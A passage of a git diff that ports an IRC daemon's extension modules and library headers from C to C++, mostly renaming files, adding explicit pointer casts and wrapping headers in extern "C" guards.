extensions/m_findforwards.cc index a30ea7598..dcabf562c 100644 --- a/extensions/m_findforwards.c +++ b/extensions/m_findforwards.cc @@ -92,7 +92,7 @@ m_findforwards(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client * RB_DLINK_FOREACH(ptr, global_channel_list.head) { - chptr = ptr->data; + chptr = (Channel *)ptr->data; if(!irccmp(chptr->mode.forward, parv[1])) { if(p + strlen(chptr->chname) >= end - 13) diff --git a/extensions/m_identify.c b/extensions/m_identify.cc similarity index 100% rename from extensions/m_identify.c rename to extensions/m_identify.cc diff --git a/extensions/m_locops.c b/extensions/m_locops.cc similarity index 100% rename from extensions/m_locops.c rename to extensions/m_locops.cc diff --git a/extensions/m_mkpasswd.c b/extensions/m_mkpasswd.cc similarity index 99% rename from extensions/m_mkpasswd.c rename to extensions/m_mkpasswd.cc index 41140558e..46d289c12 100644 --- a/extensions/m_mkpasswd.c +++ b/extensions/m_mkpasswd.cc @@ -206,7 +206,7 @@ generate_random_salt(char *salt, int length) { return (generate_poor_salt(salt, length)); } - buf = calloc(1, length); + buf = (char *)calloc(1, length); if(read(fd, buf, length) != length) { free(buf); diff --git a/extensions/m_ojoin.c b/extensions/m_ojoin.cc similarity index 100% rename from extensions/m_ojoin.c rename to extensions/m_ojoin.cc diff --git a/extensions/m_okick.c b/extensions/m_okick.cc similarity index 98% rename from extensions/m_okick.c rename to extensions/m_okick.cc index c00c423ee..59d26871b 100644 --- a/extensions/m_okick.c +++ b/extensions/m_okick.cc @@ -85,7 +85,7 @@ mo_okick(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source comment[TOPICLEN] = '\0'; *buf = '\0'; - if((p = strchr(parv[1], ','))) + if((p = (char *)strchr(parv[1], ','))) *p = '\0'; name = LOCAL_COPY(parv[1]); @@ -98,7 +98,7 @@ mo_okick(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source } - if((p = strchr(parv[2], ','))) + if((p = (char *)strchr(parv[2], ','))) *p = '\0'; user = LOCAL_COPY(parv[2]); // strtoken(&p2, parv[2], ","); if(!(who = find_chasing(source_p, user, &chasing))) diff --git a/extensions/m_omode.c b/extensions/m_omode.cc similarity index 100% rename from extensions/m_omode.c rename to extensions/m_omode.cc diff --git a/extensions/m_opme.c b/extensions/m_opme.cc similarity index 98% rename from extensions/m_opme.c rename to extensions/m_opme.cc index 10f440e71..e416c65c2 100644 --- a/extensions/m_opme.c +++ b/extensions/m_opme.cc @@ -74,7 +74,7 @@ mo_opme(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_ RB_DLINK_FOREACH(ptr, chptr->members.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; if(is_chanop(msptr)) { diff --git a/extensions/m_remove.c b/extensions/m_remove.cc similarity index 98% rename from extensions/m_remove.c rename to extensions/m_remove.cc index a0e68aaae..6431e5408 100644 --- a/extensions/m_remove.c +++ b/extensions/m_remove.cc @@ -81,7 +81,7 @@ m_remove(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source flood_endgrace(source_p); *buf = '\0'; - if((p = strchr(parv[1], ','))) + if((p = (char *)strchr(parv[1], ','))) *p = '\0'; name = parv[1]; @@ -144,7 +144,7 @@ m_remove(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source */ } - if((p = strchr(parv[2], ','))) + if((p = (char *)strchr(parv[2], ','))) *p = '\0'; user = parv[2]; /* strtoken(&p2, parv[2], ","); */ diff --git a/extensions/m_roleplay.c b/extensions/m_roleplay.cc similarity index 100% rename from extensions/m_roleplay.c rename to extensions/m_roleplay.cc diff --git a/extensions/m_sendbans.c b/extensions/m_sendbans.cc similarity index 96% rename from extensions/m_sendbans.c rename to extensions/m_sendbans.cc index 1e39f6bda..3cd98688d 100644 --- a/extensions/m_sendbans.c +++ b/extensions/m_sendbans.cc @@ -117,7 +117,7 @@ mo_sendbans(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *sou count = 0; RB_DLINK_FOREACH(ptr, global_serv_list.head) { - server_p = ptr->data; + server_p = (Client *)ptr->data; if (IsMe(server_p)) continue; if (match(target, server_p->name)) @@ -137,7 +137,7 @@ mo_sendbans(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *sou RB_DLINK_FOREACH(ptr, resv_conf_list.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if (aconf->hold) continue; sendto_match_servs(source_p, target, @@ -146,8 +146,10 @@ mo_sendbans(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *sou target, aconf->host, aconf->passwd); } - RB_RADIXTREE_FOREACH(aconf, &state, resv_tree) + void *elem; + RB_RADIXTREE_FOREACH(elem, &state, resv_tree) { + aconf = (ConfItem *)elem; if (aconf->hold) continue; sendto_match_servs(source_p, target, @@ -158,7 +160,7 @@ mo_sendbans(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *sou RB_DLINK_FOREACH(ptr, xline_conf_list.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if (aconf->hold) continue; mask2 = expand_xline(aconf->host); diff --git a/extensions/m_webirc.c b/extensions/m_webirc.cc similarity index 100% rename from extensions/m_webirc.c rename to extensions/m_webirc.cc diff --git a/extensions/no_kill_services.c b/extensions/no_kill_services.cc similarity index 100% rename from extensions/no_kill_services.c rename to extensions/no_kill_services.cc diff --git a/extensions/no_locops.c b/extensions/no_locops.cc similarity index 100% rename from extensions/no_locops.c rename to extensions/no_locops.cc diff --git a/extensions/no_oper_invis.c b/extensions/no_oper_invis.cc similarity index 100% rename from extensions/no_oper_invis.c rename to extensions/no_oper_invis.cc diff --git a/extensions/override.c b/extensions/override.cc similarity index 95% rename from extensions/override.c rename to extensions/override.cc index f1751c377..c68218d17 100644 --- a/extensions/override.c +++ b/extensions/override.cc @@ -63,7 +63,7 @@ update_session_deadline(struct Client *source_p, struct OverrideSession *session RB_DLINK_FOREACH(n, overriding_opers.head) { - struct OverrideSession *s = n->data; + struct OverrideSession *s = (OverrideSession *)n->data; if (s->client == source_p) { @@ -75,7 +75,7 @@ update_session_deadline(struct Client *source_p, struct OverrideSession *session if (session_p == NULL) { - session_p = rb_malloc(sizeof(struct OverrideSession)); + session_p = (OverrideSession *)rb_malloc(sizeof(struct OverrideSession)); session_p->client = source_p; } @@ -92,7 +92,7 @@ expire_override_deadlines(void *unused) RB_DLINK_FOREACH_SAFE(n, tn, overriding_opers.head) { - struct OverrideSession *session_p = n->data; + struct OverrideSession *session_p = (OverrideSession *)n->data; if (session_p->deadline > rb_current_time()) break; @@ -140,7 +140,7 @@ check_umode_change(void *vdata) RB_DLINK_FOREACH_SAFE(n, tn, overriding_opers.head) { - struct OverrideSession *session_p = n->data; + struct OverrideSession *session_p = (OverrideSession *)n->data; if (session_p->client != source_p) continue; @@ -246,7 +246,7 @@ handle_client_exit(void *vdata) RB_DLINK_FOREACH_SAFE(n, tn, overriding_opers.head) { - struct OverrideSession *session_p = n->data; + struct OverrideSession *session_p = (OverrideSession *)n->data; if (session_p->client != source_p) continue; diff --git a/extensions/restrict-unauthenticated.c b/extensions/restrict-unauthenticated.cc similarity index 100% rename from extensions/restrict-unauthenticated.c rename to extensions/restrict-unauthenticated.cc diff --git a/extensions/sno_channelcreate.c b/extensions/sno_channelcreate.cc similarity index 100% rename from extensions/sno_channelcreate.c rename to extensions/sno_channelcreate.cc diff --git a/extensions/sno_farconnect.c b/extensions/sno_farconnect.cc similarity index 100% rename from extensions/sno_farconnect.c rename to extensions/sno_farconnect.cc diff --git a/extensions/sno_globalkline.c b/extensions/sno_globalkline.cc similarity index 100% rename from extensions/sno_globalkline.c rename to extensions/sno_globalkline.cc diff --git a/extensions/sno_globalnickchange.c b/extensions/sno_globalnickchange.cc similarity index 91% rename from extensions/sno_globalnickchange.c rename to extensions/sno_globalnickchange.cc index a32f15c4c..f59e51dcd 100644 --- a/extensions/sno_globalnickchange.c +++ b/extensions/sno_globalnickchange.cc @@ -37,8 +37,8 @@ static void h_gnc_nick_change(hook_data *data) { struct Client *source_p = data->client; - const char *oldnick = data->arg1; - const char *newnick = data->arg2; + const char *oldnick = (const char *)data->arg1; + const char *newnick = (const char *)data->arg2; sendto_realops_snomask_from(SNO_NCHANGE, L_ALL, source_p->servptr, "Nick change: From %s to %s [%s@%s]", diff --git a/extensions/sno_globaloper.c b/extensions/sno_globaloper.cc similarity index 100% rename from extensions/sno_globaloper.c rename to extensions/sno_globaloper.cc diff --git a/extensions/sno_whois.c b/extensions/sno_whois.cc similarity index 100% rename from extensions/sno_whois.c rename to extensions/sno_whois.cc diff --git a/extensions/spamfilter_expr.c b/extensions/spamfilter_expr.cc similarity index 96% rename from extensions/spamfilter_expr.c rename to extensions/spamfilter_expr.cc index cd2630127..eb915c7ba 100644 --- a/extensions/spamfilter_expr.c +++ b/extensions/spamfilter_expr.cc @@ -152,7 +152,7 @@ struct Expr *new_expr(const char *const pattern, int *const errcode, PCRE2_SIZE *const erroff) { - struct Expr *const ret = rb_malloc(sizeof(struct Expr)); + const auto ret((Expr *)rb_malloc(sizeof(Expr))); ret->id = hash_pattern(pattern); ret->comp_opts = comp_opts; ret->match_opts = match_opts; @@ -199,7 +199,7 @@ struct Expr *new_expr(const char *const pattern, static struct Expr *find_expr(const unsigned int id) { - return rb_dictionary_retrieve(exprs, &id); + return (Expr *)rb_dictionary_retrieve(exprs, &id); } @@ -257,7 +257,7 @@ int activate_expr(struct Expr *const expr, static struct Expr *deactivate_expr(const unsigned int id) { - return rb_dictionary_delete(exprs, &id); + return (Expr *)rb_dictionary_delete(exprs, &id); } @@ -295,7 +295,7 @@ struct Expr *activate_new_expr(const char *const pattern, static int deactivate_and_free_expr(const unsigned int id) { - struct Expr *const expr = rb_dictionary_delete(exprs, &id); + struct Expr *const expr = (Expr *)rb_dictionary_delete(exprs, &id); free_expr(expr); return expr != NULL; } @@ -607,10 +607,11 @@ struct Expr *match_any_expr(const char *const text, const size_t off, const unsigned int options) { - struct Expr *expr; + void *elem; rb_dictionary_iter state; - RB_DICTIONARY_FOREACH(expr, &state, exprs) + RB_DICTIONARY_FOREACH(elem, &state, exprs) { + auto *const expr(reinterpret_cast(elem)); if(match_expr(expr, text, len, off, options) > 0) return expr; } @@ -637,7 +638,7 @@ int dump_pcre_config(struct Client *client_p, struct Client *source_p, int parc, if((v.v_ulong = pcre2_config(PCRE2_CONFIG_VERSION, NULL)) > 0) { v.v_ulong *= (PCRE2_CODE_UNIT_WIDTH / 8); - v.v_buf = rb_malloc(v.v_ulong); + v.v_buf = (char *)rb_malloc(v.v_ulong); pcre2_config(PCRE2_CONFIG_VERSION, v.v_buf); sendto_one_notice(source_p, ":\2%-30s\2: (%s)", "PCRE2 VERSION", v.v_buf); rb_free(v.v_buf); @@ -658,7 +659,7 @@ int dump_pcre_config(struct Client *client_p, struct Client *source_p, int parc, if((v.v_ulong = pcre2_config(PCRE2_CONFIG_JITTARGET, NULL)) > 0) { v.v_ulong *= (PCRE2_CODE_UNIT_WIDTH / 8); - v.v_buf = rb_malloc(v.v_ulong); + v.v_buf = (char *)rb_malloc(v.v_ulong); pcre2_config(PCRE2_CONFIG_JITTARGET, v.v_buf); sendto_one_notice(source_p, ":\2%-30s\2: (%s)", "PCRE2 JITTARGET", v.v_buf); rb_free(v.v_buf); @@ -697,7 +698,7 @@ int dump_pcre_config(struct Client *client_p, struct Client *source_p, int parc, if((v.v_ulong = pcre2_config(PCRE2_CONFIG_UNICODE_VERSION, NULL)) > 0) { v.v_ulong *= (PCRE2_CODE_UNIT_WIDTH / 8); - v.v_buf = rb_malloc(v.v_ulong); + v.v_buf = (char *)rb_malloc(v.v_ulong); pcre2_config(PCRE2_CONFIG_UNICODE_VERSION, v.v_buf); sendto_one_notice(source_p, ":\2%-30s\2: (%s)", "PCRE2 UNICODE_VERSION", v.v_buf); rb_free(v.v_buf); @@ -774,10 +775,11 @@ int spamexpr_list(struct Client *client_p, struct Client *source_p, int parc, co for(size_t i = 0; i < parc; i++) nparv[i+1] = parv[i]; - struct Expr *expr; + void *elem; rb_dictionary_iter state; - RB_DICTIONARY_FOREACH(expr, &state, exprs) + RB_DICTIONARY_FOREACH(elem, &state, exprs) { + auto *const expr(reinterpret_cast(elem)); snprintf(id, sizeof(id), "%u", expr->id); spamexpr_info(client_p, source_p, parc+1, nparv); } @@ -926,10 +928,11 @@ int spamexpr_test(struct Client *client_p, struct Client *source_p, int parc, co return 0; } - struct Expr *expr; + void *elem; rb_dictionary_iter state; - RB_DICTIONARY_FOREACH(expr, &state, exprs) + RB_DICTIONARY_FOREACH(elem, &state, exprs) { + auto *const expr(reinterpret_cast(elem)); const int ret = match_expr(expr, parv[1], len, 0, 0); sendto_one_notice(source_p, ":#%-2d: (%d) %s", id, ret, ret > 0? "POSITIVE" : "NEGATIVE"); } @@ -947,10 +950,11 @@ int spamexpr_sync(struct Client *client_p, struct Client *source_p, int parc, co return 0; } - struct Expr *expr; + void *elem; rb_dictionary_iter state; - RB_DICTIONARY_FOREACH(expr, &state, exprs) + RB_DICTIONARY_FOREACH(elem, &state, exprs) { + auto *const expr(reinterpret_cast(elem)); char comp_opts[128] = {0}, match_opts[128] = {0}, jit_opts[128] = {0}; strlcat_pcre_opts(expr->comp_opts, comp_opts, sizeof(comp_opts), str_pcre_comp); strlcat_pcre_opts(expr->match_opts, match_opts, sizeof(match_opts), str_pcre_match); @@ -1060,10 +1064,11 @@ void hook_doing_stats(hook_data_int *const data) if(statchar != STATCHAR_SPAMFILTER) return; - struct Expr *expr; + void *elem; rb_dictionary_iter state; - RB_DICTIONARY_FOREACH(expr, &state, exprs) + RB_DICTIONARY_FOREACH(elem, &state, exprs) { + auto *const expr(reinterpret_cast(elem)); char comp_opts[128] = {0}, match_opts[128] = {0}; strlcat_pcre_opts(expr->comp_opts, comp_opts, sizeof(comp_opts), str_pcre_comp); strlcat_pcre_opts(expr->match_opts, match_opts, sizeof(match_opts), str_pcre_match); @@ -1105,15 +1110,15 @@ void hook_server_introduced(hook_data_client *const data) */ static -int exprs_comparator(const unsigned int *const a, const unsigned int *const b) +int exprs_comparator(const void *const a, const void *const b) { - return *b - *a; + return *reinterpret_cast(b) - *reinterpret_cast(a); } static void exprs_destructor(rb_dictionary_element *const ptr, void *const priv) { - free_expr(ptr->data); + free_expr((Expr *)ptr->data); } @@ -1137,12 +1142,12 @@ int set_parm_opt(const conf_parm_t *const parm, static -void set_parm_opts(const conf_parm_t *const val, +void set_parm_opts(const void *const val, unsigned int *const dest, long (*const reflector)(const char *), const char *const optname) { - for(const conf_parm_t *parm = val; parm; parm = parm->next) + for(const auto *parm((conf_parm_t *)val); parm; parm = parm->next) if(!set_parm_opt(parm, dest, reflector)) conf_report_error("Unrecognized PCRE %s option: %s", optname, parm->v.string); } @@ -1214,7 +1219,7 @@ void conf_spamexpr_jit_opts(void *const val) static void conf_spamexpr_pattern(void *const val) { - const char *const pattern = val; + const char *const pattern = (const char *)val; rb_strlcpy(conf_spamexpr_cur.pattern, pattern, sizeof(conf_spamexpr_cur.pattern)); } diff --git a/extensions/spamfilter_nicks.c b/extensions/spamfilter_nicks.cc similarity index 98% rename from extensions/spamfilter_nicks.c rename to extensions/spamfilter_nicks.cc index cb9fd5710..5dc328b22 100644 --- a/extensions/spamfilter_nicks.c +++ b/extensions/spamfilter_nicks.cc @@ -96,7 +96,7 @@ void bloom_destroy(void) { for(size_t i = 0; i < NUM_HASHES; i++) { - rb_free(bloom[i]); + delete bloom[i]; bloom[i] = NULL; } @@ -111,7 +111,7 @@ void bloom_create(const size_t size) return; for(size_t i = 0; i < NUM_HASHES; i++) - bloom[i] = rb_malloc(size); + bloom[i] = new uint8_t[size]; bloom_size = size; bloom_flush(); @@ -171,7 +171,7 @@ int chans_add(struct Channel *const chptr) rb_dlink_node *ptr; RB_DLINK_FOREACH(ptr, chptr->members.head) { - const struct membership *const msptr = ptr->data; + const auto msptr(reinterpret_cast(ptr->data)); bloom_add_str(msptr->client_p->name); } diff --git a/extensions/spy_admin_notice.c b/extensions/spy_admin_notice.cc similarity index 100% rename from extensions/spy_admin_notice.c rename to extensions/spy_admin_notice.cc diff --git a/extensions/spy_info_notice.c b/extensions/spy_info_notice.cc similarity index 100% rename from extensions/spy_info_notice.c rename to extensions/spy_info_notice.cc diff --git a/extensions/spy_links_notice.c b/extensions/spy_links_notice.cc similarity index 97% rename from extensions/spy_links_notice.c rename to extensions/spy_links_notice.cc index 78b7d357b..09d72e314 100644 --- a/extensions/spy_links_notice.c +++ b/extensions/spy_links_notice.cc @@ -40,7 +40,7 @@ DECLARE_MODULE_AV2(links_spy, NULL, NULL, NULL, NULL, links_hfnlist, NULL, NULL, void show_links(hook_data *data) { - const char *mask = data->arg1; + const char *mask = (const char *)data->arg1; sendto_realops_snomask(SNO_SPY, L_ALL, "LINKS '%s' requested by %s (%s@%s) [%s]", diff --git a/extensions/spy_motd_notice.c b/extensions/spy_motd_notice.cc similarity index 100% rename from extensions/spy_motd_notice.c rename to extensions/spy_motd_notice.cc diff --git a/extensions/spy_stats_notice.c b/extensions/spy_stats_notice.cc similarity index 97% rename from extensions/spy_stats_notice.c rename to extensions/spy_stats_notice.cc index c90236ec6..fe7d0f49f 100644 --- a/extensions/spy_stats_notice.c +++ b/extensions/spy_stats_notice.cc @@ -44,7 +44,7 @@ show_stats(hook_data_int *data) if(statchar == 'L' || statchar == 'l') { - const char *name = data->arg1; + const char *name = (const char *)data->arg1; if(!EmptyString(name)) sendto_realops_snomask(SNO_SPY, L_ALL, diff --git a/extensions/spy_stats_p_notice.c b/extensions/spy_stats_p_notice.cc similarity index 100% rename from extensions/spy_stats_p_notice.c rename to extensions/spy_stats_p_notice.cc diff --git a/extensions/spy_trace_notice.c b/extensions/spy_trace_notice.cc similarity index 100% rename from extensions/spy_trace_notice.c rename to extensions/spy_trace_notice.cc diff --git a/extensions/umode_noctcp.c b/extensions/umode_noctcp.cc similarity index 100% rename from extensions/umode_noctcp.c rename to extensions/umode_noctcp.cc diff --git a/include/ircd/bandbi.h b/include/ircd/bandbi.h index aad0cf6b1..325cca4a9 100644 --- a/include/ircd/bandbi.h +++ b/include/ircd/bandbi.h @@ -16,4 +16,5 @@ void bandb_add(bandb_type, struct Client *source_p, const char *mask1, const char *mask2, const char *reason, const char *oper_reason, int perm); void bandb_del(bandb_type, const char *mask1, const char *mask2); void bandb_rehash_bans(void); + #endif diff --git a/include/ircd/cache.h b/include/ircd/cache.h index fd609411b..75fc8b261 100644 --- a/include/ircd/cache.h +++ b/include/ircd/cache.h @@ -45,5 +45,5 @@ void cache_user_motd(void); extern rb_dictionary *help_dict_oper; extern rb_dictionary *help_dict_user; -#endif +#endif diff --git a/include/ircd/defaults.h b/include/ircd/defaults.h index ff95af06b..bf6bb95ec 100644 --- a/include/ircd/defaults.h +++ b/include/ircd/defaults.h @@ -202,5 +202,4 @@ ircd_path_t; extern const char *ircd_paths[IRCD_PATH_COUNT]; - #endif // _IRCD_SYSTEM_H diff --git a/include/ircd/hostmask.h b/include/ircd/hostmask.h index 8e97cf74b..31cd5ce13 100644 --- a/include/ircd/hostmask.h +++ b/include/ircd/hostmask.h @@ -25,6 +25,7 @@ #ifndef INCLUDE_hostmask_h #define INCLUDE_hostmask_h 1 + enum { HM_HOST, @@ -104,5 +105,4 @@ struct AddressRec struct AddressRec *next; }; - #endif /* INCLUDE_hostmask_h */ diff --git a/include/ircd/ircd.h b/include/ircd/ircd.h index dbd13434b..cf79287a0 100644 --- a/include/ircd/ircd.h +++ b/include/ircd/ircd.h @@ -22,8 +22,8 @@ * USA */ -#ifndef INCLUDED_ircd_h -#define INCLUDED_ircd_h +#ifndef _IRCD_H +#define _IRCD_H #include "defaults.h" @@ -104,4 +104,4 @@ extern int maxconnections; void ircd_shutdown(const char *reason) __attribute__((noreturn)); -#endif +#endif // _IRCD_H diff --git a/include/ircd/logger.h b/include/ircd/logger.h index f537ecc37..01d237f05 100644 --- a/include/ircd/logger.h +++ b/include/ircd/logger.h @@ -29,8 +29,8 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#ifndef INCLUDED_s_log_h -#define INCLUDED_s_log_h +#ifndef _IRCD_LOGGER_H +#define _IRCD_LOGGER_H #include "defaults.h" @@ -66,4 +66,4 @@ extern void ilog_error(const char *); void vslog(ilogfile dest, unsigned int snomask, const char *fmt, va_list ap); void slog(ilogfile dest, unsigned int snomask, const char *fmt, ...) AFP(3, 4); -#endif +#endif // _IRCD_LOGGER_H diff --git a/include/ircd/m_info.h b/include/ircd/m_info.h index d0ff6417e..cd0ade851 100644 --- a/include/ircd/m_info.h +++ b/include/ircd/m_info.h @@ -157,5 +157,4 @@ Info MyInformation[] = { {0, 0, 0, 0} }; - #endif /* INCLUDED_m_info_h */ diff --git a/include/ircd/reject.h b/include/ircd/reject.h index 6fabb2cb4..35c77f86a 100644 --- a/include/ircd/reject.h +++ b/include/ircd/reject.h @@ -41,6 +41,4 @@ int is_throttle_ip(struct sockaddr *addr); unsigned long throttle_size(void); void flush_throttle(void); - #endif - diff --git a/include/ircd/sslproc.h b/include/ircd/sslproc.h index 61c6695a1..7afb9916e 100644 --- a/include/ircd/sslproc.h +++ b/include/ircd/sslproc.h @@ -43,4 +43,3 @@ int get_ssld_count(void); void ssld_foreach_info(void (*func)(void *data, pid_t pid, int cli_count, enum ssld_status status, const char *version), void *data); #endif - diff --git a/include/ircd/stdinc.h b/include/ircd/stdinc.h index c06ffbd3b..9ac6bde8d 100644 --- a/include/ircd/stdinc.h +++ b/include/ircd/stdinc.h @@ -78,8 +78,8 @@ extern int errno; #define LOCAL_COPY(s) strdupa(s) #else #if defined(__INTEL_COMPILER) || defined(__GNUC__) -# define LOCAL_COPY(s) __extension__({ char *_s = alloca(strlen(s) + 1); strcpy(_s, s); _s; }) +# define LOCAL_COPY(s) __extension__({ char *_s = (char *)alloca(strlen(s) + 1); strcpy(_s, s); _s; }) #else -# define LOCAL_COPY(s) strcpy(alloca(strlen(s) + 1), s) /* XXX Is that allowed? */ +# define LOCAL_COPY(s) strcpy((char *)alloca(strlen(s) + 1), s) #endif /* defined(__INTEL_COMPILER) || defined(__GNUC__) */ #endif /* strdupa */ diff --git a/include/ircd/wsproc.h b/include/ircd/wsproc.h index 3d8181468..3c801304c 100644 --- a/include/ircd/wsproc.h +++ b/include/ircd/wsproc.h @@ -41,4 +41,3 @@ int get_wsockd_count(void); void wsockd_foreach_info(void (*func)(void *data, pid_t pid, int cli_count, enum wsockd_status status), void *data); #endif - diff --git a/include/rb/Makefile.am b/include/rb/Makefile.am new file mode 100644 index 000000000..2343a5990 --- /dev/null +++ b/include/rb/Makefile.am @@ -0,0 +1,17 @@ +AUTOMAKE_OPTIONS = foreign + +AM_CPPFLAGS = -isystem $(top_srcdir)/boost/include +AM_LDFLAGS = -L$(top_srcdir)/boost/lib + +BUILT_SOURCES = rb.h.gch + +rb.h.gch: + $(CXX) -o rb.h.gch $(CPPFLAGS) rb.h + +clean-local: + rm -f rb.h.gch + +mrproper-local: + rm -f config.h + rm -f config.h.in + rm -f stamp-h1 diff --git a/include/rb/arc4random.h b/include/rb/arc4random.h index 6bdd701fd..6a96b1856 100644 --- a/include/rb/arc4random.h +++ b/include/rb/arc4random.h @@ -1,3 +1,8 @@ +#pragma once +#define HAVE_RB_ARC4RANDOM_H +#ifdef __cplusplus +extern "C" { +#endif #if !defined(HAVE_OPENSSL) && !defined(HAVE_GNUTLS) && !defined(HAVE_ARC4RANDOM) @@ -5,3 +10,8 @@ void arc4random_stir(void); uint32_t arc4random(void); void arc4random_addrandom(uint8_t *dat, int datlen); #endif + + +#ifdef __cplusplus +} // extern "C" +#endif diff --git a/include/rb/balloc.h b/include/rb/balloc.h index fc15d0027..cbcbaba61 100644 --- a/include/rb/balloc.h +++ b/include/rb/balloc.h @@ -29,6 +29,9 @@ #ifndef _RB_BALLOC_H #define _RB_BALLOC_H 1 +#ifdef __cplusplus +extern "C" { +#endif struct rb_bh; typedef struct rb_bh rb_bh; @@ -46,4 +49,7 @@ void rb_bh_usage(rb_bh *bh, size_t *bused, size_t *bfree, size_t *bmemusage, con void rb_bh_usage_all(rb_bh_usage_cb *cb, void *data); void rb_bh_total_usage(size_t *total_alloc, size_t *total_used); +#ifdef __cplusplus +} // extern "C" +#endif #endif // _RB_BALLOC_H diff --git a/include/rb/commio.h b/include/rb/commio.h index 58b08c3a5..c4d3f11b5 100644 --- a/include/rb/commio.h +++ b/include/rb/commio.h @@ -29,7 +29,9 @@ #ifndef INCLUDED_commio_h #define INCLUDED_commio_h - +#ifdef __cplusplus +extern "C" { +#endif struct sockaddr; struct _fde; @@ -193,4 +195,7 @@ const char *rb_ssl_get_cipher(rb_fde_t *F); int rb_ipv4_from_ipv6(const struct sockaddr_in6 *__restrict__ ip6, struct sockaddr_in *__restrict__ ip4); +#ifdef __cplusplus +} // extern "C" +#endif #endif /* INCLUDED_commio_h */ diff --git a/include/rb/commio_int.h b/include/rb/commio_int.h index 9ea36c96f..dad2391f4 100644 --- a/include/rb/commio_int.h +++ b/include/rb/commio_int.h @@ -25,6 +25,9 @@ #ifndef _RB_COMMIO_INT_H #define _RB_COMMIO_INT_H 1 +#ifdef __cplusplus +extern "C" { +#endif #define RB_FD_HASH_BITS 12 #define RB_FD_HASH_SIZE (1UL << RB_FD_HASH_BITS) @@ -117,7 +120,7 @@ rb_find_fd(rb_platform_fd_t fd) RB_DLINK_FOREACH(ptr, hlist->head) { - rb_fde_t *F = ptr->data; + rb_fde_t *F = (rb_fde_t *)ptr->data; if(F->fd == fd) return F; } @@ -206,5 +209,8 @@ int rb_init_netio_win32(void); int rb_select_win32(long); int rb_setup_fd_win32(rb_fde_t *F); +#ifdef __cplusplus +} // extern "C" +#endif #endif // _RB_COMMIO_INT_H diff --git a/include/rb/dictionary.h b/include/rb/dictionary.h index 119eb65a4..38c2fbeb3 100644 --- a/include/rb/dictionary.h +++ b/include/rb/dictionary.h @@ -24,6 +24,9 @@ #ifndef __RB_DICTIONARY_H__ #define __RB_DICTIONARY_H__ +#ifdef __cplusplus +extern "C" { +#endif typedef struct rb_dictionary rb_dictionary; typedef struct rb_dictionary_element rb_dictionary_element; @@ -31,12 +34,16 @@ typedef struct rb_dictionary_iter rb_dictionary_iter; struct rb_dictionary; -// This comparator could be based on a union of function types emulating a -// quasi-template, shutting up a lot of warnings. For now it gets The Treatment. -#pragma GCC diagnostic push -#pragma GCC diagnostic ignored "-Wstrict-prototypes" -typedef int (*DCF)(/* const void *a, const void *b */); -#pragma GCC diagnostic pop +#ifndef __cplusplus + // This comparator could be based on a union of function types emulating a + // quasi-template, shutting up a lot of warnings. For now it gets The Treatment. + #pragma GCC diagnostic push + #pragma GCC diagnostic ignored "-Wstrict-prototypes" + typedef int (*DCF)(/* const void *a, const void *b */); + #pragma GCC diagnostic pop +#else + typedef int (*DCF)(const void *a, const void *b); +#endif struct rb_dictionary_element { @@ -188,4 +195,7 @@ static inline int rb_uint32cmp(const void *a, const void *b) return RB_POINTER_TO_UINT(b) - RB_POINTER_TO_UINT(a); } +#ifdef __cplusplus +} // extern "C" +#endif #endif diff --git a/include/rb/dlink.h b/include/rb/dlink.h index 4a7359c3c..0d75af300 100644 --- a/include/rb/dlink.h +++ b/include/rb/dlink.h @@ -23,13 +23,11 @@ * */ -#ifndef RB_LIB_H - #error "Do not use rb_dlink.h directly" -#endif - #ifndef __DLINK_H__ #define __DLINK_H__ - +#ifdef __cplusplus +extern "C" { +#endif typedef struct rb_dlink_node { @@ -337,4 +335,7 @@ rb_dlinkMoveList(rb_dlink_list *from, rb_dlink_list *to) from->length = 0; } +#ifdef __cplusplus +} // extern "C" +#endif #endif /* __DLINK_H__ */ diff --git a/include/rb/event.h b/include/rb/event.h index a99e485df..bc6ac9a17 100644 --- a/include/rb/event.h +++ b/include/rb/event.h @@ -23,12 +23,11 @@ * */ -#ifndef RB_LIB_H -# error "Do not use event.h directly" -#endif - #ifndef INCLUDED_event_h #define INCLUDED_event_h +#ifdef __cplusplus +extern "C" { +#endif struct ev_entry; typedef void EVH(void *); @@ -46,4 +45,7 @@ void rb_dump_events(void (*func) (char *, void *), void *ptr); void rb_run_one_event(struct ev_entry *); time_t rb_event_next(void); +#ifdef __cplusplus +} // extern "C" +#endif #endif /* INCLUDED_event_h */ diff --git a/include/rb/event_int.h b/include/rb/event_int.h index 311252fb6..0f50dbbc4 100644 --- a/include/rb/event_int.h +++ b/include/rb/event_int.h @@ -24,6 +24,9 @@ #ifndef _RB_EVENT_INT_H #define _RB_EVENT_INT_H 1 +#ifdef __cplusplus +extern "C" { +#endif struct ev_entry { @@ -39,4 +42,7 @@ struct ev_entry }; void rb_event_io_register_all(void); +#ifdef __cplusplus +} // extern "C" +#endif #endif // _RB_EVENT_INT_H diff --git a/include/rb/helper.h b/include/rb/helper.h index 01868b678..ff0716202 100644 --- a/include/rb/helper.h +++ b/include/rb/helper.h @@ -21,12 +21,11 @@ * */ -#ifndef RB_LIB_H -# error "Do not use helper.h directly" -#endif - #ifndef INCLUDED_helper_h #define INCLUDED_helper_h +#ifdef __cplusplus +extern "C" { +#endif struct _rb_helper; typedef struct _rb_helper rb_helper; @@ -59,4 +58,8 @@ void rb_helper_run(rb_helper *helper); void rb_helper_close(rb_helper *helper); int rb_helper_read(rb_helper *helper, void *buf, size_t bufsize); void rb_helper_loop(rb_helper *helper, long delay) __attribute__((noreturn)); + +#ifdef __cplusplus +} // extern "C" +#endif #endif diff --git a/include/rb/linebuf.h b/include/rb/linebuf.h index d0e0b9883..597ee46b1 100644 --- a/include/rb/linebuf.h +++ b/include/rb/linebuf.h @@ -23,12 +23,11 @@ * */ -#ifndef RB_LIB_H -# error "Do not use 